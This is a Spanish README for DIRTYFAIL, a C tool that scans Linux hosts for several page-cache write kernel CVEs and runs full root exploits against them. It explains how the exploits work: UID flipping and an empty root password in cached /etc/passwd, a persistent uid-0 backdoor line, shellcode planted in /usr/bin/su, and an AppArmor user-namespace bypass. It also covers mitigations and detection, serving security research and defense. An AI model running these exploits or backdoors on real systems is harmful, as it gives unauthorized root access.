DIRTYFAIL es una herramienta C pequeña y bien documentada para investigadores de seguridad.
Detecta si un host Linux es vulnerable a los tres CVE de esta familia y — con
confirmación explícita y escrita — ejecuta una prueba de concepto real que deja
al llamador en un shell root en un sistema vulnerable.

| CVE / variante | Nombre | Cobertura de DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (escritura de page-cache `authencesn` de algif_aead) | Detección + PoC completa |
| **CVE-2026-43284 v4** | Dirty Frag — escritura de page-cache xfrm-ESP IPv4          | Detección + PoC completa |
| **CVE-2026-43284 v6** | Dirty Frag — escritura de page-cache xfrm-ESP IPv6 (`esp6`) | Detección + PoC completa |
| **CVE-2026-43500**    | Dirty Frag — escritura de page-cache RxRPC                  | Detección + PoC completa |
| Variante GCM de Copy Fail | escritura de page-cache xfrm-ESP `rfc4106(gcm(aes))`        | Detección + PoC completa |

**Modos adicionales:**

- **`--scan --active`** — sondas activas de STORE en archivo centinela. Por
  defecto, `--scan` informa de las precondiciones por CVE (kernel, módulos,
  estado del LSM) además de una sonda activa de la primitiva Copy Fail. Añadir
  `--active` extiende la sonda STORE de archivo centinela a las otras cuatro
  primitivas (ESP v4, ESP v6, RxRPC, GCM): cada una dispara el trigger del
  kernel contra un centinela en `/tmp` e informa VULNERABLE solo si los bytes
  de marcador aterrizan realmente. Esta es la única forma de distinguir un
  kernel con parche backportado (las precondiciones dicen vulnerable pero la
  sonda dice intacto) de uno sin parchear sin ejecutar el exploit completo.
  `/etc/passwd` nunca se toca. Auto-calibra el desplazamiento V6 STORE por
  compilación de kernel.
- **`--exploit-backdoor`** — backdoor persistente uid-0: sobrescritura de
  longitud coincidente de una línea `nologin`/`false`/`sync` de `/etc/passwd`
  con `dirtyfail::0:0:<pad>:/:/bin/bash`. Sobrevive a la salida del shell hasta
  que la página se desaloja. El estado se guarda en `/var/tmp/.dirtyfail.state`
  para `--cleanup-backdoor`. El nombre de usuario `dirtyfail` está
  deliberadamente emparejado con este proyecto para que sea identificable al
  instante en cualquier auditoría — cambia `NEW_USER` en `src/backdoor.c` si
  necesitas un identificador distinto para un compromiso red team autorizado.
- **Bypass de AppArmor** — vence la política
  `apparmor_restrict_unprivileged_userns=1` de Ubuntu mediante una re-ejecución
  `change_onexec("crun")` de un solo salto hacia un perfil no confinado que
  conserva las capacidades de userns. Cada modo de exploit lo maneja
  internamente mediante un fork: el padre permanece en el namespace init, el
  hijo hace el baile del bypass, el padre lee el page-cache global y ejecuta
  `su` para obtener root REAL del init-ns. La bandera heredada `--aa-bypass`
  sigue existiendo para depurar la mecánica del bypass de forma aislada. Ver
  [§8.5 Arquitectura](#85-architecture-outerinner-fork-based-bypass).

## Verificado en

DIRTYFAIL ha sido **validado empíricamente de extremo a extremo** en múltiples
distros y versiones de kernel. La siguiente matriz refleja los resultados de
pruebas por modo al ejecutar cada modo `--exploit-*` contra una instalación
limpia de cada distro.

| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | Shellcode SU |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (no probado) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (endurecido) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Leyenda:** ✅ el exploit aterrizó y produjo root real del init-ns  · 🛡 mitigado — el exploit no puede alcanzar el bug del kernel (kernel parcheado O el LSM bloquea la ruta no privilegiada)  · ⏭ no aplicable (precondición ausente)

### Validación de sonda activa (`--scan --active`)

La bandera `--active` añade una sonda STORE de archivo centinela por CVE
durante la detección. Validamos las salidas de la sonda contra las mismas 4
distros de arriba (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — la matriz
siguiente muestra el veredicto de sonda por modo y coincide uno a uno con la
verdad de campo del exploit completo:

| Distro | Sonda Copy Fail | Sonda ESP v4 | Sonda ESP v6 | Sonda RxRPC | Sonda GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 |
| Fedora 44   | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | cambio de byte ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | precondiciones ⏭ | centinela cambiado ✅ |
| Ubuntu 26.04 | intacto 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 |

El desplazamiento de aterrizaje STORE de la sonda V6 (8 en Fedora y Alma)
coincide con el `V6_STORE_SHIFT` empírico que `calibrate_v6_shift()` descubre
en tiempo de ejecución — lo que confirma que la auto-calibración reemplaza
correctamente la constante antes hardcodeada a través de las compilaciones de
kernel.

¹ GCM y Backdoor requieren que `algif_aead` sea cargable. Ubuntu 24.04 incluye
`/etc/modprobe.d/disable-algif_aead.conf` que lo bloquea (blacklisting) como
mitigación de Copy Fail. Con la lista negra eliminada (p. ej. en un kernel
anterior a la mitigación), ambos modos funcionan de extremo a extremo.

² La ruta algif_aead de Copy Fail está mitigada por la lista negra de modprobe;
la primitiva CVE subyacente en el kernel es la misma tanto si `authencesn` es
alcanzable como si no. xfrm-ESP, RxRPC y la variante GCM aterrizan en el mismo
kernel porque no pasan por algif_aead.

³ El paquete `kernel-modules-extra` de AlmaLinux 10 no se instala por defecto
en una instalación Mínima, por lo que `rxrpc.ko` falta en disco. Instalar
`kernel-modules-extra-$(uname -r)` desde EPEL o el repositorio extras de
AlmaLinux devuelve el módulo; en una instalación mínima estándar RxRPC es
inalcanzable.

⁴ **Ubuntu 26.04 LTS bloquea exhaustivamente la explotación no privilegiada.**
El kernel incluido `7.0.0-15.15` (publicado el 2026-04-22) **es anterior al
parche mainline `f4c50a4034e6` (fusionado el 2026-05-07) por ~2 semanas** — así
que el bug SIGUE presente en el kernel. La defensa de Ubuntu es **defensa en
profundidad mediante endurecimiento de AppArmor**, no un parche de kernel:

- `apparmor_restrict_unprivileged_userns=1` está habilitado por defecto.
- En `unshare(CLONE_NEWUSER)`, la aplicación de AppArmor a nivel de kernel
  auto-transiciona CUALQUIER perfil (incluidos los marcados `(unconfined)`
  como `crun`, `chrome`, `unconfined` por defecto) a un sub-perfil
  `<profile>//&unprivileged_userns (mixed)` que tiene
  `audit deny capability`. El uid 0 dentro del nuevo userns no obtiene
  capacidades.
- `change_onexec` a un perfil diferente no ayuda — incluso el perfil `crun`
  (que tiene permiso explícito `userns,` y `flags=(unconfined)`)
  auto-transiciona en unshare. Verificado mediante
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` →
  `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) escriben uid_map correctamente, pero
  `setresuid(0)` entonces tiene éxito mientras `ioctl(SIOCSIFFLAGS)` y cualquier
  otra syscall controlada por CAP_NET_ADMIN devuelve EPERM porque la denegación
  de capacidades es por namespace, no por uid.

El binario DIRTYFAIL arma correctamente su bypass y llega a la etapa 2, pero no
puede adquirir CAP_NET_ADMIN dentro del nuevo userns. La infraestructura del
exploit queda bloqueada en la capa del LSM independientemente de la técnica de
bypass. Probamos `change_onexec(crun)`, `change_onexec(chrome)`,
`aa-exec -p <profile>` y `unshare(USER|NET) + newuidmap` directo — todos
producen el mismo sub-perfil `unprivileged_userns`.

**Este es un buen trabajo de seguridad por parte de Canonical.** La clase de
bug está mitigada para usuarios no privilegiados sin requerir una recompilación
del kernel. Una actualización estable posterior probablemente traerá también el
parche del kernel en sí, completando la defensa.

⁵ **La inyección de shellcode `--exploit-su`** depende de la misma primitiva de
4 bytes de Copy Fail algif_aead (`cf_4byte_write`). En kernels donde Copy Fail
está parcheado (Debian 13.4) o bloqueado por LSM (Ubuntu 26.04 — pero la ruta
algif_aead también fue parcheada en 7.0.0-15), la plantación se ejecuta pero el
paso de verificación falla ("page cache does not match planted shellcode") y la
auto-reversión restaura `/usr/bin/su`. Probado de extremo a extremo en
AlmaLinux 10.1 (punto de entrada en el offset de archivo `0x45b0`) y Fedora 44
(offset `0x1b60`); el parser ELF maneja la base PIE de cada distro de forma
independiente. Prueba de root real en Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Reproducibilidad de las pruebas:

- Reinstalamos cada distro desde una ISO limpia, configuramos autenticación
  con clave SSH + sudo NOPASSWD, clonamos y compilamos DIRTYFAIL en cada una,
  tomamos una instantánea de Parallels `clean-build`, y luego ejecutamos los 5
  modos de exploit con `--no-shell` (auto-reversión mediante fadvise +
  drop_caches).
- Las filas de resultados empíricos se derivan de analizar la salida real de
  `--exploit-*`, buscando las señales de éxito:
  `page cache now reports <user> with uid 0`,
  `root password field is now empty`, `is now uid 0` (backdoor), o cualquiera
  de los patrones de fallo (`write did not land`, `byte flip failed`,
  `setresuid: Invalid`, `add_rxrpc_key: No such device`,
  `page cache not in expected shape`).
- Para la verificación de "root real" de RxRPC y Backdoor ejecutamos
  `echo "" | su - root` / `echo "" | su - dirtyfail` y confirmamos
  `uid=0(root)` además de la lectura exitosa de `/etc/shadow`.

> **Solo pruebas autorizadas.** Usa DIRTYFAIL únicamente en sistemas que poseas
> o para los que tengas un compromiso explícito de evaluación. Los modos de
> exploit corrompen `/etc/passwd` *en el page cache del kernel* (el archivo en
> disco nunca se toca). La limpieza es `dirtyfail --cleanup` o
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## Tabla de contenidos

1. [La clase de bug](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Descripción general de la arquitectura](#45-architecture-overview)
5. [Compilación](#5-build)
6. [Uso](#6-usage)
7. [Cómo detecta DIRTYFAIL cada CVE](#7-how-dirtyfail-detects-each-cve)
8. [Cómo explota DIRTYFAIL cada CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Arquitectura: bypass basado en fork externo/interno](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigaciones](#9-mitigations)
10. [Ética y divulgación](#10-ethics--disclosure)
11. [Créditos](#11-credits)

**Documentación complementaria:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — manual para administradores de sistemas: ¿estoy vulnerable?, cómo mitigar, qué monitorizar.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — auditoría del código fuente del kernel de rutas adyacentes (AH, IPCOMP, MACsec, kTLS, etc.) para la misma clase de bug.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — detector bash independiente para administradores de sistemas (sin necesidad de compilación).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — reglas auditd listas para cargar para la cadena de exploit.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — demo del radio de explosión entre namespaces.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — código fuente de shellcode aarch64 (ARM64) para `--exploit-su`. No probado en hardware; se distribuye bloqueado tras `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Regenera los bytes correspondientes en `src/exploit_su.c` con `aarch64-linux-gnu-as` para verificarlo.

---

## 1. La clase de bug

**Page-cache write** (escritura de page-cache): las vulnerabilidades dejan que
un usuario no privilegiado modifique la copia en memoria del kernel de un
archivo al que solo tiene acceso de lectura. El archivo en disco nunca se
escribe; la modificación persiste en RAM hasta que la página se desaloja
(`drop_caches`, presión de memoria o reinicio).

Esta clase comenzó con **Dirty Pipe** (CVE-2022-0847), que abusaba de los flags
de `pipe_buffer`. Copy Fail y Dirty Frag son descendientes que apuntan en
cambio al miembro `frag` de `struct sk_buff`. El mecanismo es siempre el mismo:

1. El espacio de usuario hace `splice()` de una página de page-cache desde un
   archivo legible (p. ej. `/etc/passwd`, `/usr/bin/su`) hacia el frag de un
   búfer del kernel.
2. Una ruta de recepción ejecuta criptografía **in-place** sobre ese búfer —
   las mismas páginas son a la vez origen y destino de la operación.
3. La rutina criptográfica realiza un STORE "scratch" fuera de la región de
   datos (una reorganización del número de secuencia, un descifrado de un solo
   bloque, etc.) que aterriza dentro de la página fijada por el usuario.
4. La copia en page-cache del archivo queda ahora modificada permanentemente
   para todos los lectores del host, hasta que la página se desaloja.

Debido a que el bug es un **defecto lógico determinista**, no una condición de
carrera, las tasas de éxito son esencialmente del 100% y el kernel no entra en
pánico al fallar.

---

## 2. CVE-2026-31431 — Copy Fail

* Divulgación: **2026-04-29**
* Sitio: <https://copy.fail/>
* PoC original (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* PoC original (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Introducido por el commit:  `72548b093ee3` (2017)
* Corregido por el commit:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 estables)
* Afectados confirmados:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Causa raíz

El módulo `algif_aead` del kernel expone la API criptográfica AEAD al espacio
de usuario mediante `AF_ALG`. La plantilla `authencesn(hmac(sha256), cbc(aes))`
implementa el ESN (Extended Sequence Numbers) de RFC-4303; parte de su ruta de
descifrado realiza una **escritura scratch de 4 bytes** para reorganizar el
número de secuencia:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

Flipping `1000` (el campo UID, exactamente 4 bytes ASCII para cualquier UID
1000–9999) a `0000` hace que el `getpwnam()` de glibc reporte uid=0 para
ese usuario. PAM, sin embargo, sigue autenticando contra `/etc/shadow`
en disco (que no se modifica), por lo que `su <user>` solicita la
contraseña real, la valida y luego `setuid(0)` — y termina como root
porque la copia en caché de página de `/etc/passwd` dice que somos root.

La integridad de `/etc/shadow` se preserva. El `/etc/passwd` en disco se
preserva. Solo la copia en RAM del kernel de `/etc/passwd` se corrompe,
y solo hasta `drop_caches` o un reinicio.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Divulgación: **2026-04-30 → 2026-05-08**
* PoC original (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Investigador: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Introducido por el commit: `cac2661c53f3` (2017-01-17)
* Corregido por el commit:      `f4c50a4034e6` (net.git principal, fusionado 2026-05-07)
* Afectados confirmados:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Causa raíz

Se supone que `esp_input()` debe llamar a `skb_cow_data()` antes del descifrado AEAD
in situ cuando un skb no es lineal (es decir, tiene frags). La ruta de código
tiene un cortocircuito:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Si una página de page-cache se ha empalmado en el frag del skb, el descifrado de 8 bytes se realiza sobre ella.

**Diferencia con xfrm-ESP**: los 8 bytes que se ALMACENAN son
`fcrypt_decrypt(C, K)`, donde `C` es el texto cifrado existente en ese
offset de archivo y `K` es la clave de sesión de un token RxRPC v1 que
el atacante registró mediante `add_key("rxrpc", ...)`. El atacante no
controla el valor ALMACENADO directamente — tiene que forzar por fuerza bruta `K` hasta que
`fcrypt_decrypt(C, K)` produzca el texto plano deseado.

`fcrypt` es un cifrado de Andrew File System con una **clave de 56 bits** y
bloque de 8 bytes. Es determinista; se porta limpiamente al espacio de usuario; y
su espacio de claves es lo suficientemente pequeño como para que un objetivo restringido de 8 bytes pueda
ser forzado por fuerza bruta en milisegundos o segundos dependiendo del presupuesto de restricciones.

**Fundamentalmente, esta vía NO necesita privilegios de namespace** —
`add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` están todos
disponibles para cualquier usuario sin privilegios. RxRPC cubre el vacío en el perfil
hardened-userns de Ubuntu (donde xfrm-ESP está bloqueado) porque
`rxrpc.ko` se incluye en la compilación predeterminada de Ubuntu.

### Explotación

El exploit completo:

1. Fuerza bruta sobre `K_A`, `K_B`, `K_C` en espacio de usuario para que los tres
   STOREs en los offsets 4, 6, 8 de `/etc/passwd` produzcan
   `"::"`, `"0:"`, `"0:GGGGGG:"` respectivamente (el último que escribe gana).
2. Para cada `K_i`, registra un token RxRPC v1 con `add_key`, realiza
   un handshake AF_RXRPC falsificado contra un servidor UDP falso en el mismo
   proceso, y dispara `rxkad_verify_packet_1` mediante splice.
3. La copia en page-cache de la línea 1 de `/etc/passwd` ahora es
   `root::0:0:GGGGGG:/root:/bin/bash` — un campo de contraseña vacío.
4. PAM con `pam_unix.so nullok` acepta la contraseña vacía; `su -`
   entrega una shell root.

### Cobertura de DIRTYFAIL

DIRTYFAIL incluye **tanto** detección como un PoC completo para este CVE.

La implementación de DIRTYFAIL vive en `src/dirtyfrag_rxrpc.c` y
`src/fcrypt.c`:

- **Cifrado fcrypt** (`fcrypt.c`): clave de 56 bits, bloque de 8 bytes, Feistel de 16 rondas;
  S-boxes estándar del protocolo rxkad. Incluye un harness de fuerza bruta de un solo núcleo
  (~18 Mops/s) que busca en el espacio de claves hasta que
  un texto plano candidato satisface un predicado proporcionado por quien llama.
- **Checksum rxkad** (`compute_csum_iv`, `compute_cksum`): fórmula del kernel
  reproducida mediante AF_ALG `pcbc(fcrypt)` para que el cksum del cable
  en nuestro paquete DATA falsificado pase la compuerta de `rxkad_verify_packet`.
- **Construcción del token RxRPC v1** (`build_rxrpc_v1_token`): token rxkad codificado
  en XDR registrado mediante `add_key("rxrpc", ...)` con nuestra
  clave de sesión forzada por fuerza bruta.
- **Cliente AF_RXRPC + servidor UDP falso**: el cliente inicia una llamada,
  el servidor falso extrae (epoch, cid, callNumber) del primer
  paquete y emite un CHALLENGE falsificado para que el cliente prepare
  `conn->rxkad.cipher` con nuestra clave.
- **Disparador splice** (`do_one_trigger`): vmsplice del header de cable DATA falsificado → splice de 8 bytes desde `/etc/passwd` → tubería de splice → udp_srv
  → recvmsg lleva al kernel a través de `rxkad_verify_packet_1` → STORE de 8 bytes.
- **Cadena de 3 splices con corrección de texto cifrado encadenado**: fuerza bruta
  sobre K_A / K_B / K_C, aplicando el desplazamiento de texto cifrado encadenado entre
  pasadas (después de que splice A sobrescriba los bytes 4..11, el texto cifrado de splice B
  en 6..13 comienza con `P_A[2..7]`; lo mismo para C contra B).

El PoC final reformatea la línea 1 de `/etc/passwd` a:```
root::0:0:GGGGG:/root:/bin/bash

**Decisiones clave de diseño:**

- **División externo/interno**: cada exploit bifurca un hijo para el trabajo
  del kernel. El padre permanece en el namespace init para que el `execlp("su",
  user)` final alcance la raíz REAL del init-ns. Ver [§8.5
  Arquitectura](#85-architecture-outerinner-fork-based-bypass).
- **La caché de páginas es global**: el hijo escribe desde dentro de su userns de bypass,
  el padre lee desde el init ns; los mismos bytes son visibles.
- **Las variables de entorno transportan el estado padre → hijo**: `DIRTYFAIL_INNER_MODE`,
  `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
  `DIRTYFAIL_LINE_OFF`, etc. (backdoor). `execv` conserva el
  entorno entre transiciones de etapa.
- **Compañero defensivo**: `--mitigate` despliega las mismas listas negras +
  endurecimiento de sysctl que las distribuciones incluyen como mitigaciones oficiales.
  `--scan` detecta cuando las capabilities están bloqueadas por LSM e informa
  "mitigated" en lugar del engañoso "VULNERABLE preconditions met".

---

## 5. Compilación

### Requisitos previos

* **Linux** (este binario es solo para Linux en tiempo de ejecución).
* `gcc` o `clang`, `make`.
* Cabeceras UAPI de Linux — específicamente `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribución      | Instalación                                         |
|-------------------|-----------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`   |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`          |
| Arch              | `sudo pacman -S base-devel`                         |

### Comandos de compilación```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

(instala `musl-tools` en Debian/Ubuntu, o compila musl desde el código fuente).

---

## 6. Uso

`./dirtyfail --help` es la referencia canónica; los modos se desglosan
por categoría:

**Detección (seguro; sin modificación del sistema):**

| Modo | Qué hace |
|---|---|
| `--scan` | Ejecuta los cinco detectores (modo predeterminado) |
| `--scan --active` | Añade una sonda STORE con archivo centinela por CVE — distingue precondiciones cumplidas de realmente explotable |
| `--scan --json` | Emite un único objeto JSON en stdout (compatible con SIEM); los registros van a stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Solo detección por CVE |

**Explotación (requiere confirmación tecleada; corrompe la caché de páginas de `/etc/passwd`):**

| Modo | Qué hace |
|---|---|
| `--exploit-copyfail` | Cambio de UID mediante la primitiva de 4 bytes `algif_aead` |
| `--exploit-esp` | Cambio de UID mediante xfrm-ESP v4 (requiere userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Cambio de UID mediante xfrm-ESP v6 |
| `--exploit-rxrpc` | Campo de contraseña de root vacío mediante fuerza bruta con rxkad fcrypt |
| `--exploit-gcm` | Cambio de UID mediante la primitiva de un solo byte `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | PERSISTENTE: inserta `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Estilo V4bel: inserta shellcode específico de la arquitectura en el punto de entrada de `/usr/bin/su`. x86_64 probado de extremo a extremo; aarch64 se distribuye sin probar en hardware (controlado por la variable de entorno `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Limpieza / inspección de estado:**

| Modo | Qué hace |
|---|---|
| `--cleanup` | Expulsa `/etc/passwd` de la caché de páginas (`fadvise` + `drop_caches` si se es root) |
| `--cleanup-backdoor` | Restaura la línea original de `/etc/passwd` desde el archivo de estado |
| `--cleanup-su` | Restaura los bytes del punto de entrada de `/usr/bin/su` desde el archivo de estado |
| `--list-state` | Informa de qué (si acaso algo) está actualmente implantado; sin efectos secundarios |

**Defensivo (requiere root):**

| Modo | Qué hace |
|---|---|
| `--mitigate` | Pone en lista negra los módulos `algif_aead`/`esp4`/`esp6`/`rxrpc`; establece `apparmor_restrict_unprivileged_userns=1`; drop_caches. Efectos secundarios: rompe IPsec, AFS |
| `--cleanup-mitigate` | Elimina los archivos modprobe/sysctl instalados por `--mitigate` |

**Opciones comunes:**

| Opción | Efecto |
|---|---|
| `--no-shell` | Después de una explotación exitosa, no ejecutes `execve su` — verifica y revierte |
| `--no-revert` | Con `--no-shell`, también omite la reversión automática (usado por la demo de container-escape) |
| `--active` | Añade sondas centinela-STORE activas a `--scan`/`--check-*` |
| `--json` | (con `--scan`) emite salida legible por máquina |
| `--no-color` | Desactiva el color ANSI |
| `--aa-bypass` | (solo DEBUG) fuerza el bypass de AppArmor para userns sin privilegios — los exploits hacen esto internamente, ver §8.5 |

### Ejemplos de detección

Escaneo simple (solo precondiciones — rápido, ~1s):```sh
./dirtyfail --scan

JSON para la ingesta en SIEM/flota:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Cada exploit solicita `DIRTYFAIL` + (cuando corresponda)
`YES_BREAK_SSH` antes de cualquier modificación de la caché de páginas.

### Inspección de estado + limpieza```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

---

## 7. Cómo detecta DIRTYFAIL cada CVE

### Copy Fail (sonda centinela activa)

La detección realmente dispara la primitiva contra un archivo centinela en `/tmp`:

1. Prueba `socket(AF_ALG, SOCK_SEQPACKET, 0)` y `bind` a `authencesn(hmac(sha256), cbc(aes))`.
2. Crea un archivo centinela de 4 KiB en `/tmp` y provoca un fallo de página en su primera página para cargarla en la caché.
3. Ejecuta la primitiva completa del exploit contra él: `sendmsg` AAD con `seqno_lo = "PWND"`, hace splice de 32 bytes del centinela en el socket de operación AF_ALG, acciona `recv` para disparar la escritura scratch.
4. Relee el centinela y busca `PWND` en cualquier parte de la primera página.

Marcador encontrado ⇒ vulnerable. Marcador ausente pero el contenido de la página difiere ⇒ la primitiva se disparó parcialmente (sigue siendo vulnerable). Página idéntica ⇒ no vulnerable en este kernel.

### Dirty Frag xfrm-ESP (basado en precondiciones — o activo con `--active`)

El `--scan` predeterminado es solo de precondiciones: no entramos en un espacio de nombres de usuario en el modo de detección (produciría efectos secundarios en la red dentro de ese espacio de nombres). Comprobamos:

* versión del kernel dentro de la ventana afectada
* `esp4` / `esp6` cargados actualmente o autocargables
* la creación de espacios de nombres de usuario sin privilegios tiene éxito (probada mediante fork →
  hijo `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` devuelve false

Con los cuatro presentes ⇒ VULNERABLE (precondiciones cumplidas).

`--scan --active` extiende esto con una sonda centinela-STORE: hacemos fork de un hijo que arma el bypass de AA, entra en un espacio de nombres de usuario/red nuevo, registra una SA XFRM y dispara el trigger ESP-en-UDP contra un archivo centinela `/tmp/dirtyfail-esp-probe.XXXXXX`. El padre relee el centinela y busca los bytes marcadores:

* marcador presente → el STORE del kernel es alcanzable → **VULNERABLE**
* página intacta → el parche del kernel está activo → **NO VULNERABLE**
* bypass de AA denegado → **PRECOND_FAIL** (mitigado por LSM)

Esta es la única forma de distinguir un kernel parcheado mediante backport de uno sin parchear sin ejecutar el exploit completo de volteo de UID contra `/etc/passwd`. El mismo patrón se usa para ESP v6, RxRPC y GCM bajo `--active`.

### Dirty Frag RxRPC (basado en precondiciones — o activo con `--active`)

Precondiciones:
* `rxrpc` en `/proc/modules` o autocargable
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` tiene éxito

Sonda activa (`--active`): hace fork vía bypass de AA, registra una clave de sesión rxrpc con un valor arbitrario de 8 bytes, envía una falsificación CHALLENGE + DATA contra un centinela en `/tmp` y busca cualquier cambio de byte dentro de la ventana de 8 bytes empalmada. No intentamos predecir qué se escribió — cualquier modificación confirma que el STORE del kernel se dispara.

### Variante GCM de Copy Fail + ESP v6 — misma forma

La sonda activa de la variante GCM instala una SA en modo transporte con un IV arbitrario y dispara `gcm_trigger` contra un centinela en `/tmp`; cualquier cambio de byte en `sentinel[0]` confirma la alcanzabilidad. La sonda ESP v6 también autocalibra `V6_STORE_SHIFT` por compilación del kernel (ver `calibrate_v6_shift` en `src/dirtyfrag_esp6.c`): las compilaciones de `esp6_input` de diferentes distros colocan el STORE en desplazamientos ligeramente distintos dentro de la región empalmada, y la sonda de calibración descubre el desplazamiento exacto antes de que se dispare el exploit real.

---

## 8. Cómo explota DIRTYFAIL cada CVE

### Exploit de Copy Fail (`copyfail.c`)

STORE único de 4 bytes a través de `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

